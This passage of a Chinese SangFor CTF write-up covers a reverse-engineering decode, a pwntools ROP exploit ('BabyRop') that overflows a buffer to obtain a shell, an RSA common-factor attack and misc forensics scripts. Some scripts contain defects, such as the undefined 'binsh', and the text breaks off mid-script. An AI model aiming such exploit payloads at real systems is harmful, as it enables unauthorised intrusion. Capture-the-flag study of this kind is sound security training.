137. 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0x66,
     
138. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x7D, 0xE7, 0xF0, 0x96, 0xB1,
     
139. 0x72, 0x30, 0xF8, 0x9E, 0x3C, 0xD8, 0xDC, 0xF5, 0xF2, 0xD8,
     
140. 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x3D, 0xF2, 0xF8, 0x8A, 0xFD,
     
141. 0xB8, 0xC9, 0xF5, 0xAA, 0x27, 0x36, 0xF2, 0x6E, 0xDA, 0xD2,
     
142. 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xB7, 0xF3, 0xD0,
     
143. 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xE2,
     
144. 0xD8, 0xD6, 0x7D, 0xCF, 0xF8, 0x8A, 0x34, 0xCE, 0xCD, 0x2B,
     
145. 0xB8, 0xC9, 0x0C, 0xF0, 0x96, 0xB1, 0x72, 0x38, 0xF0, 0xAA,
     
146. 0x27, 0xB7, 0xF2, 0x16, 0xDA, 0xD2, 0xD2, 0xAA, 0x2A, 0xD2,
     
147. 0xE0, 0x86, 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
148. 0x75, 0x9F, 0xF0, 0x96, 0xF1, 0x72, 0x20, 0xF8, 0x9E, 0xB5,
     
149. 0xD8, 0xDC, 0x35, 0xC2, 0xD8, 0xCE, 0xFD, 0xCA, 0xB8, 0xC9,
     
150. 0xF5, 0xF0, 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8,
     
151. 0xD6, 0x4D, 0xB7, 0x56, 0xF0, 0x96, 0x30, 0x72, 0x28, 0xE1,
     
152. 0x56, 0xE0, 0x86, 0xF7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0,
     
153. 0xAA, 0x27, 0x36, 0xF2, 0x1E, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
154. 0x75, 0xE7, 0xF0, 0x96, 0xF1, 0x72, 0xD1, 0xF8, 0x9E, 0x34,
     
155. 0xD8, 0xDC, 0xFD, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC,
     
156. 0x35, 0xF2, 0xF8, 0x8A, 0xB5, 0xB8, 0xC9, 0xBD, 0xAA, 0x27,
     
157. 0x36, 0xF2, 0x06, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xCD, 0xC2,
     
158. 0xE1, 0x56, 0xE0, 0x86, 0xF7, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2,
     
159. 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2, 0xD8, 0xD6, 0x75,
     
160. 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9, 0x0C,
     
161. 0xF0, 0x96, 0xF1, 0x72, 0xD9, 0xE0, 0x86, 0xF7, 0x32, 0xD0,
     
162. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xF0, 0x96, 0xF1,
     
163. 0x72, 0xC1, 0xAA, 0x2A, 0xD2, 0xF0, 0xAA, 0x27, 0xF7, 0xF2,
     
164. 0x0E, 0xDA, 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC, 0x3D,
     
165. 0xC2, 0xD8, 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0x56, 0xF0,
     
166. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D,
     
167. 0xB7, 0xE1, 0x56, 0xF0, 0x96, 0x30, 0x72, 0xC9, 0xE0, 0x86,
     
168. 0xB7, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36,
     
169. 0xF2, 0x36, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x7D, 0xE7, 0x56,
     
170. 0xF0, 0x96, 0xB1, 0x72, 0xF1, 0xF8, 0x9E, 0x3C, 0xD8, 0xDC,
     
171. 0xF5, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x3D, 0xF2,
     
172. 0xF8, 0x8A, 0xFD, 0xB8, 0xC9, 0xF5, 0xAA, 0x27, 0x36, 0xF2,
     
173. 0x3E, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xAA, 0x2A,
     
174. 0xD0, 0xD2, 0xE0, 0x86, 0xB7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2,
     
175. 0xD8, 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xE2, 0xD8, 0xD6, 0x7D,
     
176. 0xCF, 0xF8, 0x8A, 0x34, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9, 0x0C,
     
177. 0xF0, 0x96, 0xB1, 0x72, 0xF9, 0xAA, 0x2A, 0xD0, 0xD2, 0xF0,
     
178. 0xAA, 0x27, 0xB7, 0xF2, 0x26, 0xDA, 0xD2, 0xD2, 0xE0, 0x86,
     
179. 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F,
     
180. 0xF0, 0x96, 0xF1, 0x72, 0xE1, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC,
     
181. 0x35, 0xC2, 0xD8, 0xCE, 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0,
     
182. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D,
     
183. 0xB7, 0xAA, 0x2A, 0xD2, 0xF0, 0x96, 0x30, 0x72, 0xE9, 0xE0,
     
184. 0x86, 0xF7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27,
     
185. 0x36, 0xF2, 0x2E, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0xE7,
     
186. 0xAA, 0x2A, 0xD2, 0xF0, 0x96, 0xF1, 0x72, 0x91, 0xF8, 0x9E,
     
187. 0x34, 0xD8, 0xDC, 0xFD, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8,
     
188. 0xDC, 0x35, 0xF2, 0xF8, 0x8A, 0xB5, 0xB8, 0xC9, 0xBD, 0xE1,
     
189. 0x56, 0xAA, 0x27, 0x36, 0xF2, 0xD7, 0xDA, 0xD2, 0xD2, 0xD8,
     
190. 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xF7, 0xB3, 0xD0, 0xDA, 0xD2,
     
191. 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2, 0xD8, 0xD6,
     
192. 0x75, 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9,
     
193. 0x0C, 0xF0, 0x96, 0xF1, 0x72, 0x99, 0xAA, 0x2A, 0xD2, 0xE0,
     
194. 0x86, 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75,
     
195. 0x9F, 0xF0, 0x96, 0xF1, 0x72, 0x81, 0xF0, 0xAA, 0x27, 0xF7,
     
196. 0xF2, 0xDF, 0xDA, 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC,
     
197. 0x3D, 0xC2, 0xD8, 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0xE1,
     
198. 0x56, 0xF0, 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8,
     
199. 0xD6, 0x4D, 0xB7, 0xF0, 0x96, 0x30, 0x72, 0x89, 0x56, 0xE0,
     
200. 0x86, 0xB7, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27,
     
201. 0x36, 0xF2, 0xC7, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x7D, 0xE7,
     
202. 0xF0, 0x96, 0xB1, 0x72, 0xB1, 0xF8, 0x9E, 0x3C, 0xD8, 0xDC,
     
203. 0xF5, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x3D, 0xF2,
     
204. 0xF8, 0x8A, 0xFD, 0xB8, 0xC9, 0xF5, 0xAA, 0x2A, 0xD2, 0xAA,
     
205. 0x27, 0x36, 0xF2, 0xCF, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xCD,
     
206. 0xC2, 0xE0, 0x86, 0xB7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8,
     
207. 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xE2, 0xD8, 0xD6, 0x7D, 0xCF，
     
208. 0xF8, 0x8A, 0x34, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9, 0x0C, 0x56,
     
209. 0xF0, 0x96, 0xB1, 0x72, 0xB9, 0xE1, 0x56, 0xF0, 0xAA, 0x27,
     
210. 0xB7, 0xF2, 0xF7, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xF7, 0x32,
     
211. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xF0, 0x96,
     
212. 0xF1, 0x72, 0xA1, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC, 0x35, 0xC2,
     
213. 0xD8, 0xCE, 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0, 0x86, 0x36,
     
214. 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7, 0xE1,
     
215. 0x56, 0xF0, 0x96, 0x30, 0x72, 0xA9, 0xE0, 0x86, 0xF7, 0xF3,
     
216. 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0xFF,
     
217. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0xE7, 0xF0, 0x96, 0xF1,
     
218. 0x72, 0x51, 0xF8, 0x9E, 0x34, 0xD8, 0xDC, 0xFD, 0xF2, 0xD8,
     
219. 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x35, 0xF2, 0xF8, 0x8A, 0xB5,
     
220. 0xB8, 0xC9, 0xBD, 0xAA, 0x27, 0x36, 0xF2, 0xE7, 0xDA, 0xD2,
     
221. 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xF7, 0xB3, 0xD0,
     
222. 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2,
     
223. 0xD8, 0xD6, 0x75, 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B,
     
224. 0xB8, 0xC9, 0x0C, 0xF0, 0x96, 0xF1, 0x72, 0x59, 0xAA, 0x2A,
     
225. 0xD0, 0xD2, 0xE0, 0x86, 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2,
     
226. 0xD8, 0xD6, 0x75, 0x9F, 0xAA, 0x2A, 0xD0, 0xD2, 0xF0, 0x96,
     
227. 0xF1, 0x72, 0x41, 0xF0, 0xAA, 0x27, 0xF7, 0xF2, 0xEF, 0xDA,
     
228. 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC, 0x3D, 0xC2, 0xD8,
     
229. 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0xF0, 0x86, 0x36, 0x32,
     
230. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7, 0xF0, 0x96,
     
231. 0x30, 0x72, 0x49, 0xE0, 0x86, 0xB7, 0xB3, 0xD0, 0xDA, 0xD2,
     
232. 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0x97, 0xDA, 0xD2, 0xD2,
     
233. 0xD8, 0xD6, 0x7D, 0xE7, 0xF0, 0x96, 0xB1, 0x72, 0x71, 0xF8,
     
234. 0x9E, 0x3C, 0xD8, 0xDC, 0xF5, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA,
     
235. 0xD8, 0xDC, 0x3D, 0xF2, 0xF8, 0x8A, 0xFD, 0xB8, 0xC9, 0xF5,
     
236. 0xAA, 0x27, 0x36, 0xF2, 0x9F, 0xDA, 0xD2, 0xD2, 0xE1, 0x56,
     
237. 0xE0, 0x86, 0xB7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
238. 0x7D, 0xCF, 0xF0, 0x96, 0xB1, 0x72, 0x79, 0xD8, 0x9E, 0x34,
     
239. 0xCE, 0xCD, 0x2B, 0xD8, 0xDC, 0xCD, 0xC2, 0xD8, 0x2D, 0xDC,
     
240. 0xD8, 0xDC, 0x35, 0xE2, 0xD8, 0xCE, 0xD4, 0x53, 0xF8, 0x8A,
     
241. 0x34, 0xD8, 0xCE, 0xC4, 0xD0, 0xB8, 0xC9, 0x0C, 0xF0, 0x86,
     
242. 0xB7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xAA, 0x2A, 0xD2, 0xAA,
     
243. 0x27, 0x36, 0xF2, 0x87, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x7D,
     
244. 0xB7, 0xF0, 0x96, 0xB1, 0x72, 0x69, 0xE0, 0x86, 0xF7, 0x32,
     
245. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x0C, 0xD8, 0xDC, 0x0D,
     
246. 0xC2, 0xCE, 0xCD, 0xCA, 0xB8, 0xC9, 0x0C, 0xD8, 0xD6, 0x75,
     
247. 0x9F, 0xE1, 0x56, 0xF0, 0xAA, 0x27, 0xB7, 0xF2, 0x8F, 0xDA,
     
248. 0xD2, 0xD2, 0xDC, 0xCD, 0xF2, 0xF0, 0x96, 0xF1, 0x72, 0x61,
     
249. 0xE0, 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
250. 0x4D, 0xE7, 0xF0, 0x96, 0x30, 0x72, 0x11, 0xF8, 0x9E, 0x8D,
     
251. 0xD8, 0xDC, 0x0D, 0xF2, 0xD8, 0xCE, 0xFD, 0xAA, 0xD8, 0x8A,
     
252. 0x0C, 0x90, 0xC9, 0x0C, 0xE1, 0x56, 0xF0, 0xAA, 0x27, 0xF7,
     
253. 0xF2, 0xB7, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xFD, 0xC2, 0xF0,
     
254. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0x9E, 0xCD,
     
255. 0xDC, 0x0D, 0xE2, 0xD8, 0xD6, 0x4D, 0xCF, 0xF0, 0x8A, 0x8D,
     
256. 0xD8, 0xCE, 0xF5, 0x2B, 0xB8, 0xC9, 0xBD, 0xF0, 0x96, 0x30,
     
257. 0x72, 0x19, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0xBF, 0xDA, 0xD2,
     
258. 0xD2, 0xC0, 0x86, 0x36, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF8,
     
259. 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xC2, 0xD6, 0x4D, 0x9F, 0xB8,
     
260. 0xC9, 0xBD, 0xD8, 0xCE, 0xCD, 0xCA, 0x96, 0x30, 0x72, 0x01,
     
261. 0xC0, 0x86, 0x36, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xD6, 0x4D,
     
262. 0xB7, 0x96, 0x30, 0x72, 0x09, 0xAA, 0x2A, 0xD0, 0xD2, 0xAA,
     
263. 0x27, 0x36, 0xF2, 0xA7, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xF7,
     
264. 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC,
     
265. 0xCD, 0xF2, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x3D, 0xF2, 0xD8，
     
266. 0xD6, 0x75, 0xE7, 0xAA, 0x27, 0xF6, 0xF2, 0xAF, 0xDA, 0xD2,
     
267. 0xD2, 0xF8, 0x8A, 0x3C, 0xD8, 0x9E, 0xFC, 0xCE, 0xD5, 0x2B,
     
268. 0xDC, 0xCD, 0xC2, 0xD8, 0xDC, 0x3D, 0xE2, 0xD8, 0x8A, 0x3C,
     
269. 0xB8, 0xC9, 0x0C, 0x90, 0xC9, 0x0C, 0xF0, 0x96, 0xF1, 0x72,
     
270. 0x31, 0xE0, 0x86, 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0,
     
271. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75,
     
272. 0xCF, 0x86, 0x36, 0xF2, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
273. 0x4D, 0x9F, 0xD6, 0x4D, 0xB7, 0xAA, 0x2A, 0xD0, 0xD2, 0xF0,
     
274. 0x96, 0xF1, 0x72, 0x39, 0xF0, 0x96, 0x30, 0x72, 0x21, 0x96,
     
275. 0x30, 0x72, 0x29, 0xB0, 0x0B, 0xA4, 0xAA, 0xC6, 0x70, 0x65,
     
276. 0x2D, 0x2D, 0xD8, 0xDC, 0xDD, 0xF2, 0x90, 0x8E, 0x30, 0xF3,
     
277. 0x53, 0xB0, 0x8E, 0xF1, 0xF3, 0x93, 0xB0, 0x8E, 0xB1, 0xF3,
     
278. 0xD3, 0xD8, 0xBE, 0xD8, 0xDA, 0x2D, 0x94, 0xF0, 0xBE, 0xB2,
     
279. 0xD0, 0xB8, 0xC9, 0x9C, 0x90, 0x0B, 0xEC, 0xAA, 0xCE, 0xA7,
     
280. 0xD2, 0xD2, 0xD2, 0xE0, 0xAA, 0x27, 0xF6, 0xB2, 0xD6, 0xDA,
     
281. 0xD2, 0xD2, 0xF8, 0x9E, 0xCC, 0xD8, 0xDC, 0x0D, 0xC2, 0xBE,
     
282. 0x72, 0xFE, 0xD2, 0xD2, 0xD2, 0xD2, 0xB8, 0xC9, 0x0C, 0xD8,
     
283. 0xCE, 0xD5, 0xCA, 0x90, 0xC9, 0x44, 0x2D, 0xD4, 0xC0, 0xAA,
     
284. 0x27, 0x77, 0xB2, 0xDE, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xD5,
     
285. 0xF2, 0xE0, 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8,
     
286. 0xD6, 0x4D, 0xE7, 0xF0, 0x96, 0x30, 0x72, 0xD0, 0xD8, 0x9E,
     
287. 0x4D, 0xD8, 0xDC, 0x0D, 0xF2, 0xCE, 0xE5, 0xAA, 0xF8, 0x8A,
     
288. 0xCC, 0xB8, 0xC9, 0xD4, 0xE0, 0xAA, 0x27, 0x76, 0xB2, 0xC6,
     
289. 0xDA, 0xD2, 0xD2, 0x98, 0xCE, 0xDC, 0xCA, 0xDC, 0xE5, 0xC2,
     
290. 0xE0, 0x86, 0x36, 0xF2, 0xD0, 0xDA, 0xD2, 0xD2, 0xF8, 0x9E,
     
291. 0x54, 0xD8, 0xDC, 0x15, 0xE2, 0xD8, 0xCE, 0xC5, 0x2B, 0xD8,
     
292. 0x8A, 0x55, 0xD8, 0xD6, 0x4D, 0xCF, 0x90, 0xC9, 0x65, 0xF0,
     
293. 0x96, 0x30, 0x72, 0xD8, 0xF0, 0x86, 0xF6, 0x73, 0xD0, 0xDA,
     
294. 0xD2, 0xD2, 0xC0, 0x86, 0x77, 0x72, 0xD0, 0xDA, 0xD2, 0xD2,
     
295. 0xD8, 0xD6, 0x55, 0x9F, 0xD0, 0xD6, 0x65, 0xB7, 0xF0, 0x96,
     
296. 0xF0, 0x72, 0xC0, 0xD0, 0x96, 0x71, 0x72, 0xC8, 0x90, 0x0B,
     
297. 0xEC, 0xAA, 0xC6, 0x40, 0x2D, 0x2D, 0x2D, 0x90, 0xBE, 0xF2,
     
298. 0x29, 0x90, 0x8B, 0x94, 0x90, 0xCE, 0x1D, 0xDA, 0x79, 0xA0,
     
299. 0xD0, 0x86, 0x77, 0xF2, 0xD6, 0xDA, 0xD2, 0xD2, 0xD0, 0x96,
     
300. 0x55, 0xD0, 0xD6, 0xE5, 0xCA, 0xD4, 0x15, 0xC2, 0xD0, 0xD4,
     
301. 0xE5, 0xF2, 0x90, 0xAA, 0x27, 0x54, 0xF0, 0xAA, 0x67, 0xE4,
     
302. 0xE4, 0xF0, 0x37, 0xC0, 0x5B, 0xE4, 0xF0, 0x37, 0xC8, 0x73,
     
303. 0x86, 0xB6, 0x72, 0xD0, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xB6,
     
304. 0xF2, 0xD0, 0xDA, 0xD2, 0xD2, 0xD6, 0x5D, 0xE7, 0xD8, 0xD6,
     
305. 0x5D, 0xCF, 0x96, 0xB0, 0x37, 0xD0, 0xF0, 0x96, 0xB0, 0x37,
     
306. 0xD8, 0xE4, 0xF0, 0x37, 0xF0, 0xD2, 0x8D, 0x19, 0x90, 0xCE,
     
307. 0x1D, 0xC2, 0x79, 0xA1, 0xAA, 0x27, 0x77, 0xF2, 0xD6, 0xDA,
     
308. 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0xB6, 0xF2, 0xDE, 0xDA, 0xD2,
     
309. 0xD2, 0x9E, 0x55, 0xCE, 0xE5, 0xCA, 0xF0, 0x9E, 0x9C, 0xDC,
     
310. 0xE5, 0xF2, 0xD8, 0xCE, 0xDD, 0xAA, 0xDC, 0x1D, 0xF2, 0xDC,
     
311. 0x15, 0xC2, 0x8A, 0x5D, 0x90, 0xC9, 0xD4, 0x90, 0xC9, 0x65,
     
312. 0xD8, 0xDC, 0xDD, 0xC2, 0xE0, 0x86, 0x76, 0xB2, 0xD0, 0xDA,
     
313. 0xD2, 0xD2, 0x86, 0x76, 0xF2, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8,
     
314. 0xD6, 0x45, 0x9F, 0xF0, 0x86, 0xF6, 0x73, 0xD0, 0xDA, 0xD2,
     
315. 0xD2, 0xD6, 0x45, 0xE7, 0xD8, 0xD6, 0x55, 0xCF, 0x96, 0x70,
     
316. 0x37, 0xD0, 0xF0, 0x96, 0xF0, 0x37, 0xD8, 0xF0, 0x96, 0x70,
     
317. 0x37, 0xC0, 0xE4, 0xF0, 0x37, 0xC8, 0x73, 0xE4, 0xF0, 0x37,
     
318. 0xF0, 0xD2, 0x8D, 0xFA, 0xE4, 0xF0, 0x37, 0xD0, 0xD2, 0x90,
     
319. 0xBE, 0x7B, 0x3C, 0xE4, 0xDA, 0xD2, 0x90, 0xBE, 0x31, 0xF3,
     
320. 0xD0, 0x86, 0x6A, 0x03, 0x62, 0x79, 0x32, 0xF6, 0x44, 0x71,
     
321. 0x72, 0x86, 0x68, 0xDA, 0x03, 0x60, 0xDA, 0x79, 0x52, 0x90,
     
322. 0xCE, 0xEC, 0xC2, 0x90, 0xCE, 0xE4, 0xC2, 0xF6, 0x44, 0x79,
     
323. 0xC5, 0x4B, 0xD4, 0x8D, 0xFA, 0x0A, 0xD4, 0xCE, 0x94, 0xDA,
     
324. 0xFE, 0xD4, 0x90, 0xBE, 0x7A, 0xDD, 0xE4, 0xDA, 0xD2, 0x90,
     
325. 0xBE, 0xBA, 0xDD, 0xE4, 0xDA, 0xD2, 0x90, 0xAA, 0xF0, 0x84,
     
326. 0x95, 0xD0, 0xD2, 0xD2, 0xD2
     
327. ]
     
328. with open('desc','wb') as f:
     
329. for i in codes:
     
330. f.write(bytes([(ror8Bit(i, 3) ^ 0x5A) & 0xff]))
     
331. f.close()

复制代码

4.将解码后的数据粘贴到文件0x485处

​

5.使用OD动调起来，将解码函数nop掉，防止二次解码

​

6.测试解码后的程序，完美运行

​

7.经过动态调试，这个程序的加密操作都是在这个for循环完成的，看它的代码格式像是base64，但是 经过改动

​

8.用IDA动态调试，找到它的码表，将它dump出来

​

9.编写解密脚本

1. import string
   
2. encs = [
   
3. 0xE4, 0xC4, 0xE7, 0xC7, 0xE6, 0xC6, 0xE1, 0xC1, 0xE0, 0xC0,
   
4. 0xE3, 0xC3, 0xE2, 0xC2, 0xED, 0xCD, 0xEC, 0xCC, 0xEF, 0xCF,
   
5. 0xEE, 0xCE, 0xE9, 0xC9, 0xE8, 0xC8, 0xEB, 0xCB, 0xEA, 0xCA,
   
6. 0xF5, 0xD5, 0xF4, 0xD4, 0xF7, 0xD7, 0xF6, 0xD6, 0xF1, 0xD1,
   
7. 0xF0, 0xD0, 0xF3, 0xD3, 0xF2, 0xD2, 0xFD, 0xDD, 0xFC, 0xDC,
   
8. 0xFF, 0xDF, 0x95, 0x9C, 0x9D, 0x92, 0x93, 0x90, 0x91, 0x96,
   
9. 0x97, 0x94, 0x8A, 0x8E
   
10. ]
    
11. buf = [0] * 52
    
12. flag = 'SangFor{11111111111111111111111111111111}'
    
13. def encode():
    
14. n = 0
    
15. for i in range(0,0x2D,4):
    
16. f0 = ord(flag[n])
    
17. f1 = ord(flag[n+1])
    
18. f2 = ord(flag[n+2])
    
19. buf[i] = chr(encs[f0 >> 2] ^ 0xA6)
    
20. buf[i+1] = chr(encs[ (f1 >> 4) | ((f0 & 0x3) * 16) ] ^ 0xA3 )
    
21. buf[i+2] = chr(encs[(( (f2 >> 6) | (4 * (f1 & 0xF))))] ^ 0xA9 )
    
22. buf[i+3] = chr(encs[ f2 & 0x3F] ^ 0xAC)
    
23. n+=3
    
24. print(buf)
    
25. def decode(data):
    
26. for i in range(0,len(data),4):
    
27. of1 = encs.index(ord(data[i]) ^ 0xA6)
    
28. of2 = encs.index(ord(data[i+1]) ^ 0xA3)
    
29. of3 = encs.index(ord(data[i+2]) ^ 0xA9)
    
30. try:
    
31. of4 = encs.index(ord(data[i+3]) ^ 0xAC)
    
32. f1 = (of1 << 2) | (of2 >> 4)
    
33. f2 = ((of2 & 0xf) << 4) | (of3 >>2)
    
34. f3 = ((of3 & 3)<< 6) | of4
    
35. print("".join([chr(f1),chr(f2),chr(f3)]),end="")
    
36. except:
    
37. f1 = (of1 << 2) | (of2 >> 4)
    
38. print(chr(f1),end="}")
    
39. print()
    
40. flag = 'H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4'
    
41. decode(flag)

复制代码

输出结果：SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}Pwn
BabyRop

1. from pwn import *
   
2. context.log_level = 'debug'
   
3. # io = process('./pwn')
   
4. if args.R:
   
5. io = remote("192.168.41.241", 11000)
   
6. elf = ELF('./pwn')
   
7. sh = 0x0804C024
   
8. fun2_addr = elf.symbols['fun2']
   
9. go_addr = elf.symbols['Go']
   
10. shell_addr = elf.symbols['fun1']
    
11. payload1 = 'S'*(0x28+4) + p32(fun2_addr) + p32(go_addr) + p32(sh) + p32(1)
    
12. io.sendline(payload1)
    
13. payload2 = 'S'*(0x28+4) + p32(shell_addr) + p32(0) + p32(binsh)
    
14. io.sendline(payload2)
    
15. io.interactive()

复制代码

CryptoMiss
参考：

• 
  

https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFl agCTF/Cryptography/Something_missing

​

把文件路径换成本地的文件路径就OK了，最终flag：SangFor{cb4_k27}
bigrsa

​

题目只给了 n1、n2、e，首先考虑 n1 和 n2 有没有公约数作为 p
​
n1、n2 分别除以 gcd(n1,n2)得到两个 q，之后就是常规步骤

​

1. from Crypto.Util.number import *
   
2. import math
   
3. import gmpy2
   
4. n1 =
   
5. 1038352964090817518607705355147465868153958984272603343256803136483691326610
   
6. 5784068082329551223694895337089556841972133117083455781254146830929881949726
   
7. 7746892814583806423027167382825479157951365823085639078738847647634406841331
   
8. 3070355938107129145453472016190042536026921273702658330920825430671536068280
   
9. 49061
   
10. n2 =
    
11. 1153831985846771474875560143364483107218538411687580124456341828141803144805
    
12. 0182892716007101519708945604247218585089384737048181732586882407624529073574
    
13. 9717384769661698895000176441497242371873981353689607711146852891551491168528
    
14. 7998143119924714496400145018587634954722671682240156659066273824905655079272
    
15. 72073
    
16. e = 65537

复制代码

MiscMisc 签到
把gif分帧提取出来一串子数字 28-08-30-07-04-20-02-17-23-01-12-19 然后

1. <?php
   
2. echo md5("28-08-30-07-04-20-02-17-23-01-12-19");
   
3. ?>
   
4. //

复制代码

​

flag : SangFor{d93b7da38d89c19f481e710ef1b3558b}
Misc520
多次解压脚本

1. from zipfile import ZipFile
   
2. def mulextract(filename):
   
3. with ZipFile(filename) as target:
   
4. for name in target.namelist():
   
5. target.extract(name)
   
6. for item in range(520, 0, -1):
   
7. mulextract("{}.zip".format(item))
   
8. with open("story", 'r', encoding='UTF-8') as f:
   
9. f.read()
   
10. if 'png' in f:pass else:print(f)

复制代码

得到有用的：72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108, 还有个熊猫图 lsb最低位解密：

• 
  

/root/LSB-steg/LSBsteg.py decode -i 1.png -o flag.zip
密码为12345 提取pcap：

• 
  

tshark -r flag.pcap -T fields -e usb.capdata | sed '/^\s*$/gi' > 1.txt

• 
  

1. 脚本：
   
2. 参考https://blog.csdn.net/qq_43431158/article/details/108717829
   
3. with open('1.txt','r') as keys:
   
4. posx = 0
   
5. posy = 0
   
6. for line in keys:
   
7. if len(line) != 12 :
   
8. continue
   
9. x = int(line[3:5],16)
   
10. y = int(line[6:8],16)
    
11. if x > 127 :
    
12. x -= 256
    
13. if y > 127 :
    
14. y -= 256
    
15. posx += x
    
16. posy += y
    
17. btn_flag = int(line[0:2],16)
    
